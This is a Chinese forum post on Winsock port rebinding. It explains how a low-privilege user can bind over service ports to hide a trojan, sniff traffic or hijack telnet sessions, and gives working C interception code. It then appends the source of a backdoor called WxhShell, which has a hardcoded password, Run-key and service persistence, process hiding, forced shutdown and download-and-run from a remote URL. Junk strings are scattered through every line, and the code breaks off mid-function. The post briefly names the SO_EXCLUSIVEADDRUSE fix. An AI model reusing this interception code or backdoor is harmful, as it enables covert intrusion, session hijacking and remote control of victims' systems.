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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J$j&j`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vA;ml$  
ZQsE07  
  saddr.sin_family = AF_INET; nBWrkVX  
z,I7 PY& G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8!4=j  
~}$:iyJV(>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T{{J' _s5L  
+\\*Iy'xK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IP-CN  
3E y#?   
  这意味着什么?意味着可以进行如下的攻击: Ajs<a(,6  
rV[#4,}PF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uy~5!i&  
l/DV ?27  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Lk4&&5q  
 A5F< <  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `jvIcu5c  
i8Yl1nF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X+?*Tw!\  
tA3]6SIK@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A WMR0I  
WFjNS'WI_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G0^23j  
mhnD1}9,Ih  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Yw\} '7  
>O9j},X  
  #include 1LJ ?Ka[_*  
  #include 7iLm_#M  
  #include [j 'Ogm7"  
  #include    )j',e $m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vD[@cm  
  int main() i"F'n0*L  
  { UH%oGp$ykX  
  WORD wVersionRequested; o!aKeM~|Es  
  DWORD ret; % 95:yyH 0  
  WSADATA wsaData; TEh]-x`  
  BOOL val; (W5E\hjJ  
  SOCKADDR_IN saddr; b+OLmd  
  SOCKADDR_IN scaddr; qaA\.h7  
  int err; w> IkC+.?  
  SOCKET s; |n}W^}S5  
  SOCKET sc; K.*?\)&  
  int caddsize; KQJn\#>  
  HANDLE mt; nxsQDw\hy  
  DWORD tid;   +&4PGv53J  
  wVersionRequested = MAKEWORD( 2, 2 ); bL)g+<:F  
  err = WSAStartup( wVersionRequested, &wsaData ); r{YyKSL1*K  
  if ( err != 0 ) { ]vXIj0:  
  printf("error!WSAStartup failed!\n"); b v\V>s  
  return -1; #Vs/1y`()  
  } pnxjuDN7}x  
  saddr.sin_family = AF_INET; Zv7@  
   dsR{ P,!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q-o=lU"  
c~5#)AXMT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?Ih24>:D  
  saddr.sin_port = htons(23); j /)cdP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,^26.p$  
  { d=oOMXYa   
  printf("error!socket failed!\n"); MeQ(,irr^  
  return -1; c5;YKON  
  } )N)ziAy}  
  val = TRUE; / v5Pk.!o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %f6l"~y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q, #M 0  
  { pqMv YF  
  printf("error!setsockopt failed!\n"); l]sO[`X  
  return -1; g_0"T}09(  
  } E0xUEAO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ])m",8d&T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uqTOEHH7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Pk8L- [&v  
oxO}m7 ULH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^}/YGAA  
  { 4fzq C)  
  ret=GetLastError(); m9#u. Q*  
  printf("error!bind failed!\n"); R#Bt!RNZ  
  return -1; PO&xi9_  
  } mKe{y.  
  listen(s,2); }^`{YD  
  while(1) w2+RX-6Ie  
  { P2`ks[u+i  
  caddsize = sizeof(scaddr); Sw5H+!  
  //接受连接请求 a P{xMB#1h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ql&P1|&  
  if(sc!=INVALID_SOCKET) h@{@OAu?  
  { O])/kS`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {dMa&r|lp  
  if(mt==NULL) CvbY2_>Nh  
  { })mez[UmZ  
  printf("Thread Creat Failed!\n"); oC4rL\d{  
  break; RK rBHqh@  
  } 5Qy,P kje  
  } 1+y&n?  
  CloseHandle(mt); _F@FcFG1Z*  
  } QO#ZQ~  
  closesocket(s); 6\::Ku4_2  
  WSACleanup(); l_,8_u7G  
  return 0; 4?%0z) g  
  }   e}K;5o=I  
  DWORD WINAPI ClientThread(LPVOID lpParam) f_Wn[I{  
  { wV5<sH__  
  SOCKET ss = (SOCKET)lpParam; 3J(STIxg  
  SOCKET sc; l" sR\`~  
  unsigned char buf[4096]; vm4]KEyrX  
  SOCKADDR_IN saddr; E>4 \9  
  long num; C{2 UPG4x  
  DWORD val; @&EP& $*  
  DWORD ret; P `2Rte6s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U{ahA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IL>g-  
  saddr.sin_family = AF_INET; [Xz7.<0#U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); niA{L:4  
  saddr.sin_port = htons(23); >Zr/U!W*?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PMrvUM62  
  { As)-a5!  
  printf("error!socket failed!\n"); @l;f';+  
  return -1; wkIH<w|jb  
  } hOwVm;:  
  val = 100; el[6E0!@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nZ%<2  
  { lT(MywNsg  
  ret = GetLastError(); pkxW19h*0  
  return -1; LXK+WB/s  
  } [e*8hbS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dvXu?F55  
  { ](a<b@p  
  ret = GetLastError(); ,$*IJeKx  
  return -1; 6'Lij&,f?{  
  } SgY>$gP9S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZAiQofQ:2  
  { zCco/]h  
  printf("error!socket connect failed!\n"); ~Aq UT]l  
  closesocket(sc); `Y(/G"]  
  closesocket(ss); Nz]\%c/-  
  return -1; BGA.8qWR4  
  } >yL8C: J9  
  while(1) "1l d4/  
  { Q}m)Q('Rk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _y8)jD"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k|g~xmI;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -Ol/r=/&  
  num = recv(ss,buf,4096,0); H>W A?4  
  if(num>0) C"YM"9JSJ  
  send(sc,buf,num,0); QU\|RX   
  else if(num==0) l9SbuT$U  
  break; q'1rSK  
  num = recv(sc,buf,4096,0); K\;b3  
  if(num>0) 2>UyA.m0  
  send(ss,buf,num,0); BGUP-_&  
  else if(num==0) T$RZRZo  
  break; 5$jKw\FF=  
  } j[c|np4k\  
  closesocket(ss); g y&B"`  
  closesocket(sc); R[Pyrs!H  
  return 0 ; G-T:7  
  } Blf;_e~=[j  
B'&%EW]  
~xzRx$vU  
========================================================== zs7K :OlkA  
~I!7]i]"*?  
下边附上一个代码,,WXhSHELL b~cN#w #  
U*,5t81  
========================================================== p5Y"W(5_  
sH#UM(N  
#include "stdafx.h" ZG<<6y*.  
k+%6 :r,r&  
#include <stdio.h> 9r8*'.K`Z  
#include <string.h> ^TnBtIU-B  
#include <windows.h> &|55:Y87  
#include <winsock2.h> elw<(<u`  
#include <winsvc.h> Ga$+x++'*  
#include <urlmon.h> HP&+ 8  
j@Z4(X L  
#pragma comment (lib, "Ws2_32.lib") 41,Mt  
#pragma comment (lib, "urlmon.lib") %5a>@K]  
g)2}`}  
#define MAX_USER   100 // 最大客户端连接数 ZOfyy E  
#define BUF_SOCK   200 // sock buffer vMDV%E S1t  
#define KEY_BUFF   255 // 输入 buffer ?r#e  
c`AtK s)u  
#define REBOOT     0   // 重启  [v#t  
#define SHUTDOWN   1   // 关机 g/'MECB  
d\D.l^  
#define DEF_PORT   5000 // 监听端口 OZs^c2 W  
dz&8$(f,  
#define REG_LEN     16   // 注册表键长度 )"wWV{k  
#define SVC_LEN     80   // NT服务名长度 M-"%4^8_  
Mb uD8B  
// 从dll定义API DNC2]kS<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8?h-H #h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tLJ"] D1w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z45ImItH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h /@G[5E  
( n|PLi  
// wxhshell配置信息 {-09,Q4[&  
struct WSCFG { v&D^N9hy9  
  int ws_port;         // 监听端口 ^ ,d!K2`  
  char ws_passstr[REG_LEN]; // 口令 ehV`@ss  
  int ws_autoins;       // 安装标记, 1=yes 0=no I!|_C~I`2  
  char ws_regname[REG_LEN]; // 注册表键名 I|@%|sTW  
  char ws_svcname[REG_LEN]; // 服务名 (Xi?Y/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xJ:15eDC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OV_Y`u7YR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MOKg[ j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [?Wt ZM^q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" # 4L[8(+V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J 6D?$  
?YOH9%_cs  
}; 4#1[i|:M  
k^:)|Z  
// default Wxhshell configuration tXV9+AJ  
struct WSCFG wscfg={DEF_PORT, 1>r7s*  
    "xuhuanlingzhe", g[!t@K  
    1, N0,wT6.  
    "Wxhshell", R'`q0MoN1  
    "Wxhshell", Mk Er|w'  
            "WxhShell Service", ) wtVFG  
    "Wrsky Windows CmdShell Service", zxTcjC)y  
    "Please Input Your Password: ", oi^2Pvauh  
  1, d[9c6C:<q  
  "http://www.wrsky.com/wxhshell.exe", L}T:Y).  
  "Wxhshell.exe" BT.;l I  
    }; D6=Z%h\*  
t;!v jac  
// 消息定义模块  G?AZ%Yx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $T.we+u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8QDs4Bv|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $6e&sDJ  
char *msg_ws_ext="\n\rExit."; OOA %NKV  
char *msg_ws_end="\n\rQuit."; ~8L*N>Y  
char *msg_ws_boot="\n\rReboot..."; AIgJ,=9K  
char *msg_ws_poff="\n\rShutdown..."; W ZdEfY{  
char *msg_ws_down="\n\rSave to "; =NMT H[  
SR7$m<0t*  
char *msg_ws_err="\n\rErr!"; xOnbY U  
char *msg_ws_ok="\n\rOK!"; 3z';Zwz &X  
azF|L"-RP  
char ExeFile[MAX_PATH]; /`McKYIP  
int nUser = 0; S{' /=Px+  
HANDLE handles[MAX_USER]; #RT}-H  
int OsIsNt; (N{Rda*8  
Fr_esx  
SERVICE_STATUS       serviceStatus; #-*7<wN   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HI)MBrj;r  
ywWF+kR_  
// 函数声明 /I&Hq7SW`  
int Install(void); exT O#*o  
int Uninstall(void); ilJeI@  
int DownloadFile(char *sURL, SOCKET wsh); Vz[E)(QX-`  
int Boot(int flag); (WZKqt)S"o  
void HideProc(void); C%_^0#8-0  
int GetOsVer(void); {C3AxK0  
int Wxhshell(SOCKET wsl); BNns#Q8a  
void TalkWithClient(void *cs); tl9=u-D13@  
int CmdShell(SOCKET sock); AT Dm$ *  
int StartFromService(void); \9k$pC+l  
int StartWxhshell(LPSTR lpCmdLine); b Lag&c)  
$.{CA-~%[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jyQ Bx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /^ *GoB  
-wv5c  
// 数据结构和表定义 :&: IZkO  
SERVICE_TABLE_ENTRY DispatchTable[] = ? g9mDe;k  
{  o"J>MAD  
{wscfg.ws_svcname, NTServiceMain}, !9|)v7}  
{NULL, NULL} Y8!T4dkn  
}; [GKSQt{)  
N'hj  
// 自我安装 j$r.&,m  
int Install(void) ]yu,YZ@7  
{ #;cDPBv*wS  
  char svExeFile[MAX_PATH]; k<W n  
  HKEY key; SjgF&LD  
  strcpy(svExeFile,ExeFile); F jdh&9Zc  
$__e7  
// 如果是win9x系统,修改注册表设为自启动 qZRx,^gd  
if(!OsIsNt) { 04-phEA2Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cr0 \7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y#'mALC2  
  RegCloseKey(key); +<&\*VR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s)Sa KE*d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +SCUS]  
  RegCloseKey(key); <<F#Al  
  return 0; H{|a+  
    } ;-84cpfu  
  } N,v4SIC@  
} *;A I0  
else { Q]X0 O10  
48,Aq*JFw  
// 如果是NT以上系统,安装为系统服务 6w{^S~rqo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uYjJDLYoHl  
if (schSCManager!=0) PZ69aZ*Gs  
{ t!^FWr&  
  SC_HANDLE schService = CreateService [;B_ENV  
  ( 9/C0DDb  
  schSCManager, j}YZl@dYV  
  wscfg.ws_svcname, @(.?e<  
  wscfg.ws_svcdisp, (zkh`8L  
  SERVICE_ALL_ACCESS,  01I5,Dm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]7kq@o/7  
  SERVICE_AUTO_START, ;cZ9C 1  
  SERVICE_ERROR_NORMAL, jeb<qi>  
  svExeFile, F=   
  NULL, z79L2lJn  
  NULL, |7WzTz  
  NULL, &|<~J (L;  
  NULL, .UbmU^y|  
  NULL vj0`[X   
  ); j}8IT  
  if (schService!=0) /1++ 8=  
  { X?$Eb  
  CloseServiceHandle(schService); 0 O4'Ts ?  
  CloseServiceHandle(schSCManager); 9m 56oT'U{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /b@0HL?  
  strcat(svExeFile,wscfg.ws_svcname); s<0yQ-=.?N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jl3l\I'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !7J;h{3Uw  
  RegCloseKey(key); Z91gAy^z<  
  return 0; FM9b0qE  
    } W#'c6Hq2c  
  } 7-Rn{"5  
  CloseServiceHandle(schSCManager); RhyI\(Z2q  
} qcke8Q  
} q p|T,D%  
,G1|] ~  
return 1; q ,d]i/T  
} xt +fu L  
QHr 3J  
// 自我卸载 ` 2|~Z H  
int Uninstall(void) 6N.mSnp  
{ 0]8+rWp|Nz  
  HKEY key; FVG|5'V^  
3leg,q d  
if(!OsIsNt) { ^w2n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pb} &c  
  RegDeleteValue(key,wscfg.ws_regname); `(;d+fof  
  RegCloseKey(key); A4';((OXy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V]H<:UE  
  RegDeleteValue(key,wscfg.ws_regname); PGT!HdX#{  
  RegCloseKey(key); Tv3ZNh  
  return 0; P?n!fA>!  
  } O~d!* A  
} psRm*,*O  
} oD{V_/pdx  
else { A#1aO  
f]T1:N*t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  g/+M&k$  
if (schSCManager!=0) ] >ipC,v  
{ Djf2ir'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dG7sY O@U  
  if (schService!=0) ~\<ZWU<BE  
  { ^ .kas7 <  
  if(DeleteService(schService)!=0) { qa^x4xZM  
  CloseServiceHandle(schService); ;~~Oc  
  CloseServiceHandle(schSCManager); a,cDj  
  return 0; cdU2ph_  
  } R$,`}@VqZ3  
  CloseServiceHandle(schService); nq/xD;q  
  } ?0[%+AD hM  
  CloseServiceHandle(schSCManager); &[cL%pP  
} w])~m1yW  
} >4M_jC.  
N _pJE?  
return 1; q(.%f3(  
} K 1:F{*  
2SG|]=  
// 从指定url下载文件 ^0{S!fs  
int DownloadFile(char *sURL, SOCKET wsh) m_rRe\  
{ oE)c8rE  
  HRESULT hr; oK5(,8 (4  
char seps[]= "/"; =j;o, J:(  
char *token; ,7%(Jj$ ^  
char *file; y_$^Po  
char myURL[MAX_PATH]; L6 _Sc-sU  
char myFILE[MAX_PATH]; w4L\@y 3  
#i2q}/w5`C  
strcpy(myURL,sURL); :L`z~/6  
  token=strtok(myURL,seps); 2~J|x+  
  while(token!=NULL) {7/6~\'/@  
  { >^InNJd  
    file=token; u]dpA  
  token=strtok(NULL,seps); Z,i klB-  
  } yAi4v[  
APc@1="#J  
GetCurrentDirectory(MAX_PATH,myFILE); eazP'(rc  
strcat(myFILE, "\\"); ;4qalxzu  
strcat(myFILE, file); M$&>"%Oi  
  send(wsh,myFILE,strlen(myFILE),0); :cynZab  
send(wsh,"...",3,0); '!1lK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /=r&9P@Ay<  
  if(hr==S_OK) \17)=W  
return 0; n.1a1Tf  
else  &R^mpV5  
return 1; xD1wHp!+  
Y(A?ib~K  
} |g;XC^!%=o  
sJM}p5V  
// 系统电源模块 IBF>4q m"  
int Boot(int flag) 5<a<!]|C  
{ _v $mGZpGY  
  HANDLE hToken; A1'IK.  
  TOKEN_PRIVILEGES tkp; `7 B [<  
J| DWT+$#Z  
  if(OsIsNt) { "V:UQ<a\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *M`[YG19!e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q?0goL  
    tkp.PrivilegeCount = 1; Ppp&3h[dW)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &Y#9~$V=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HE,wEKp  
if(flag==REBOOT) { 6)bfd^JYn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ahwu'mgnC  
  return 0; Tf[ ]vqa`G  
} A6U6SvM;  
else { bg=`   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?b7vc^E&  
  return 0; e4`KnHsL  
} QB@*/Le   
  } ome>Jbdhe  
  else { jS- QTG!=  
if(flag==REBOOT) { d*AV(g#B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1)Ag|4  
  return 0; q;AQ6k(  
} ?41| e+p  
else { >qgBu_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2 rBF<z7  
  return 0; }}xR?+4A  
} -OW$  
} ~,guw7F  
"yz@LV1  
return 1; D@ lJ^+  
} z"H%Y 8  
SMy&K[hJ[  
// win9x进程隐藏模块 LpiLk| 2i  
void HideProc(void) AP~!YwLW  
{ pKJ[e@E^  
SwL\=nq+~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EXi+pm  
  if ( hKernel != NULL ) q_K1L  
  { 2>r.[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @6Mo_4)O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nbRg<@  
    FreeLibrary(hKernel); UM]wDFn'E  
  } a3)#tt=rA  
qqAsh]Z  
return; !3&}r  
} h}d7M55#|  
=0-qBodbl  
// 获取操作系统版本 H9Z3.F(2  
int GetOsVer(void) E:tUbWVp  
{ rTJWftH!  
  OSVERSIONINFO winfo; b$ eJH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IpP0|:}  
  GetVersionEx(&winfo); d^Wh-U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bpILiC  
  return 1; ~@O4>T+VW  
  else . =5Jpo  
  return 0; iUKj:q:  
} YsDl2P  
{!S/8o"]  
// 客户端句柄模块 O*PHo_&G  
int Wxhshell(SOCKET wsl) !K2[S J  
{ W | }Hl{}  
  SOCKET wsh; 7wnzef?)  
  struct sockaddr_in client; `sXx,sV?B  
  DWORD myID; e{O5y8,  
:Ry 24X  
  while(nUser<MAX_USER) %qHT!aP  
{ =V , _  
  int nSize=sizeof(client); [4t KJ+v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IY:O?M  
  if(wsh==INVALID_SOCKET) return 1; ;0 *^98K  
!RD,:\5V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D^~g q`/)  
if(handles[nUser]==0)  {MtB!x  
  closesocket(wsh); O o:jP6r  
else buFtLPe  
  nUser++; /%c^ i!=f"  
  } +NY4j-O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]3,0 8JW=  
)X/Faje  
  return 0; f#t^<`7  
} xRUYJ=|oh  
@rMW_7[y  
// 关闭 socket `lhLIQ'j  
void CloseIt(SOCKET wsh) <j#EyGAV  
{ -T8 gV1*(<  
closesocket(wsh); v3"xJN_,[p  
nUser--; dNobvK  
ExitThread(0); a3 x~B=E  
} e2fct|'  
B@=<'/S\7  
// 客户端请求句柄 (?!0__NN;  
void TalkWithClient(void *cs) E-D5iiF  
{ Uk9g^\H<D  
GP$ Y4*y/  
  SOCKET wsh=(SOCKET)cs; B,>FhX>h  
  char pwd[SVC_LEN]; -Tx tX8v  
  char cmd[KEY_BUFF]; SS~Q;9o  
char chr[1]; $%JyM  
int i,j; t["Df;"O  
^IH1@  
  while (nUser < MAX_USER) { qrc/Q;$  
VZoOdR:d  
if(wscfg.ws_passstr) { }v,THj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3c3Z"JV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Y-v1.^j  
  //ZeroMemory(pwd,KEY_BUFF); ;Y^RF?un  
      i=0; <^Tj}5 )n  
  while(i<SVC_LEN) { m #QI*R XP  
O| ]Ped9  
  // 设置超时 W6T&hB  
  fd_set FdRead; 5KR|p Fq  
  struct timeval TimeOut; 6hK"k  
  FD_ZERO(&FdRead); DeA'D|  
  FD_SET(wsh,&FdRead); zIFL?8!H9{  
  TimeOut.tv_sec=8; N -]PK%*  
  TimeOut.tv_usec=0; .}N^AO=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =fG8YZ(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @W8}N|jek  
DZRxp,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [{F7Pc  
  pwd=chr[0]; !@ {[I:5  
  if(chr[0]==0xd || chr[0]==0xa) { SZ{cno1`  
  pwd=0; H>f{3S-%  
  break; )y W_O:  
  } hhAC@EGG  
  i++; M[u3]dN  
    } bOMP8{H,  
sjgR \`AU  
  // 如果是非法用户,关闭 socket 0 0&$SE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g{hA,-3  
} [Z\1"m  
?w/nZQWi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .~L4#V{c~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zI!R-Nb  
(H+[^(3d2  
while(1) { v:MS0]  
2TEeP7  
  ZeroMemory(cmd,KEY_BUFF); K)&XQ`&  
8$UZL  
      // 自动支持客户端 telnet标准   J.2]km  
  j=0; ZHlin#"  
  while(j<KEY_BUFF) { \)ZX4rs{8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t[,T}BCy.  
  cmd[j]=chr[0]; ddDJXk)!0  
  if(chr[0]==0xa || chr[0]==0xd) { Y&f[2+?2NK  
  cmd[j]=0; 3b@1Zahz  
  break; cGta4;  
  } IQ=|Kj9h  
  j++; ,7jiHF  
    } *.%)rm  
x[W]?`W3r~  
  // 下载文件 -#;VFSz,9*  
  if(strstr(cmd,"http://")) { FR^wDm$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j jT 2k  
  if(DownloadFile(cmd,wsh)) MZW Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0C+y q'D~[  
  else 3dDQz#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]#q7}Sd  
  } )^S^s >3  
  else { b[o"Uq@8?  
50bP&dj&  
    switch(cmd[0]) { |uwteG5?$s  
  TL{pc=eBo  
  // 帮助 @-@rG>y^:  
  case '?': { h;UdwmT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pq\V($gN  
    break; Z?v6pjZ?  
  } iH}rI'U.  
  // 安装 Po!JgcJ#\  
  case 'i': { 'Oy5G7^R  
    if(Install()) {R!TUQ5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8tRh V2  
    else  Ox*T:5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 40d9/$uzh  
    break; I u~aTgHX%  
    } k=~pA iRDN  
  // 卸载 :G=1$gb  
  case 'r': { rn[}{1I33Q  
    if(Uninstall()) 4i\aW:_'i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^=Tu>{uD  
    else h8= MVh(I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <T.#A8c  
    break; j X!ftm2  
    } 7U )qC}(  
  // 显示 wxhshell 所在路径 \v P2B  
  case 'p': { 27 YLg c  
    char svExeFile[MAX_PATH]; *o\Y~U-so  
    strcpy(svExeFile,"\n\r"); u:H 3.5)%  
      strcat(svExeFile,ExeFile); }V#9tWW  
        send(wsh,svExeFile,strlen(svExeFile),0); h:Mn$VR,  
    break; p C2c(4  
    } lyH X#]  
  // 重启 UNcJ=   
  case 'b': { ,iv%^C",)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *ez~~ Y  
    if(Boot(REBOOT)) ]G o~]7(5|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I;.! hV>E  
    else { \%?8jQ'tX  
    closesocket(wsh); Hs`#{W{.  
    ExitThread(0); Y=Ar3O*F  
    } -f;j1bQ  
    break; O$umu_  
    } Gp3nR<+  
  // 关机 ic{.#R.BY  
  case 'd': { %f> |fs  
